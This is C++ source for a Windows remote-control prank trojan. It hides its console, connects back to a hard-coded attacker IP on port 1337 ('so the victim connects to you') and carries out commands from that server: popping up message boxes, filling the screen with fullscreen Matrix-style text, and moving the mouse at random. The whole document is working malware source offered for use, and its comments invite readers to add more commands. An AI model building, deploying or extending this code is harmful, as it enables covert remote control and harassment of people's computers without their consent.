hi

#undef  _WIN32_WINNT //For hiding/showing window
#define _WIN32_WINNT 0x0500
#include <windows.h> //Required for socket init
#include <iostream>
#include <stdlib.h>
#include <windows.h>
#include <iomanip>
#include <stdio.h>
#include <conio.h>
#include <fstream>

using namespace std;

//function declaration prototypes
void crazyMouse(BOOL cmProc);
void Matrix(BOOL pwnProc);
char procCmd(char buff[200], SOCKET * fSocket);
void PoP(char message[200]);

// static variables (Dont know why i did this)
static BOOL pwnProc = false;
static BOOL pop = false;

//pointer to socket
SOCKET * pSock;
//for matrix
HWND hWnd = GetConsoleWindow();





int main(){
   
    // First thing we want to do is make sure that our console is in-fucking-visible
ShowWindow( hWnd, SW_HIDE );

//Begin winsock chunk
char buf[256];
WSAData wsdata;
WORD wsver=MAKEWORD(2, 0); //We want Winsock 2.0
int nret=WSAStartup(wsver, &wsdata); //Pass version 2.0 and pointer to implement
if(nret != 0){ //Init failed
/*A successful return value should be 0 */
std::cout<<"Startup failed, error code: "<<WSAGetLastError(); //Returns error code
WSACleanup(); //Cleanup Winsock library
return -1;
}
std::cout<<"Init success\n";
SOCKET kSock=socket(AF_INET, SOCK_STREAM, 0);
if(kSock == INVALID_SOCKET){
std::cout<<"Socket init failed";
return -1;
}
std::cout<<"Socket initialized\n";
sockaddr_in sin;

//****PORT HERE****
sin.sin_port=htons(1337); //Connect to port 1337
//****PORT HERE****


//
////////////***************IP HERE////////////***************
sin.sin_addr.s_addr=inet_addr("172.16.3.161"); //Connect to this ip (Should be your ip, so the victim connects to you )
////////////***************IP HERE////////////***************
//

sin.sin_family=AF_INET;
if(connect(kSock,(sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR){ //Check the condition
std::cout<<"Connect failed, error: "<<WSAGetLastError(); //Returns error code
WSACleanup(); //Cleanup the library
return -1;
}
std::cout<<"Connection successful!\n";






//***************************************************
//    ^^^^^^^^^^^^ The program will always come back here to re-receive and re-compare commands.
pSock = &kSock;
// |
// v
//Back down
REC:
while (recv(kSock, buf, sizeof(buf), 0)){  //while the command is received
procCmd(buf,pSock); //push the received command into the procCmd function to be compared with a command list

}
//Back up
goto REC;
//^
//|
return 0;
}
//***************************************************






/////////////// BEGIN COMMAND LIST /////////////////

//the procCmd fucntion means ProcessCommand and is responsible for handling commands.
// If you are going to add new commands to this program you should start here.

char procCmd(char buff[200], SOCKET* fSocket){

     // needs to be reinit'd cuz of cross function
     SOCKET kSock = *fSocket;
     

/* This is where the magic happens, the received commands are compared to a hard coded list of commands. If it recognizes a command, it is sent to the appropriate function (or just executed if the code is small). I initially added in character return values so i could resend them back to the server (me) to verify if a command was executed or not. I  never got around to it , maybe you can?*/




     if (pop == true){   /*Pop is a special command because it displays a message box on the users screen. So the command pop would first need to written, which would make pop==true. Once it's true, it will be expecteing another sub-command for the actual contents of the messagebox, this is why the server-side code needed to deal with the pop command, so that it could prompt the user to input a sub command, i dont know why i did it this way.*/
     
                          PoP(buff);
                          pop = false;
                          return '1';
                          }
     if (strcmp(buff,"pop")==0){
                          pop = true;
                         
                          return '1';
                         
                          }
      if (strcmp(buff,"end")==0){
                          closesocket(kSock);
                          exit(0);
                          }
      if (strcmp(buff,"-")==0){
                          ShowWindow( hWnd, SW_HIDE );
                          return '1';
                          }
     if (strcmp(buff,"+")==0){
                          ShowWindow( hWnd, SW_SHOW );
                          return '1';
                          }
                         
     if (strcmp(buff,"pwn")==0){
                          Matrix(true);
                          return '1';
                          }
                         
      if (strcmp(buff,"unpwn")==0){
                          Matrix(false);
                          //clean up
                          ShowWindow( hWnd, SW_HIDE );
                          return '1';
                          }
      if (strcmp(buff,"crazymouse")==0){
                          crazyMouse(true);
                          return '1';
                          }
                         
      if (strcmp(buff,"uncrazy")==0){ //not working
                          crazyMouse(false);
                          return '1';
                          }
                           
                        return '0';
     }



/////////////// BEGIN EXECUTABLE FUNCTIONS ////////////////////////////


// Pop up message - Grim
void PoP(char message[200]){
     MessageBox(NULL,message,NULL,NULL);
     
}



/* this thing is really cute, it puts the dialog box into full screen and displays a bunch of green random texts like the matrix. If you want to stop it manually just press alt+enter to get out of fullscreen then close it.*/

// Matrix , total annhilation - Grim
void Matrix(BOOL pwnProc){
     
if (pwnProc==true) {
       // make sure its visible
ShowWindow( hWnd, SW_SHOW );      
keybd_event(VK_MENU,0x38,0,0);
keybd_event(VK_RETURN,0x1c,0,0);
keybd_event(VK_RETURN,0x1c,KEYEVENTF_KEYUP,0);
keybd_event(VK_MENU,0x38,KEYEVENTF_KEYUP,0);
HANDLE outToScreen;
outToScreen = GetStdHandle(STD_OUTPUT_HANDLE);
START:
     for(int i = 0; i < 1; i++)
{
int num = (rand() % 10);
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
cout << setw(4) << num;
cout << setw(4) << "0%";
cout << setw(4) << "P";
cout << setw(4) << " ";
cout << setw(4) << ")";
cout << setw(4) << "#";
cout << setw(4) << "X";
cout << setw(4) << "@";
cout << setw(4) << "1&";
cout << setw(4) << "*";
cout << setw(4) << "||";
cout << setw(4) << " \a";
Sleep(60);
}

for ( int j = 0; j < 5; j++)
{
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN);
int number = (rand() % 24);
cout << setw(4) << number;
}
goto START;
}
     
     }
     
     
     
     
     
     
     
     //Crazy mouse - Grim
void crazyMouse(BOOL cmProc){
     if(cmProc==true){
                         
              do{
                 Sleep(900);
                  int x = rand()%1000;
                  int y = rand()%700;
                  SetCursorPos(x, y);
                 
                  }
                 
                          while (cmProc==true);
                         
                         }
     
     
     }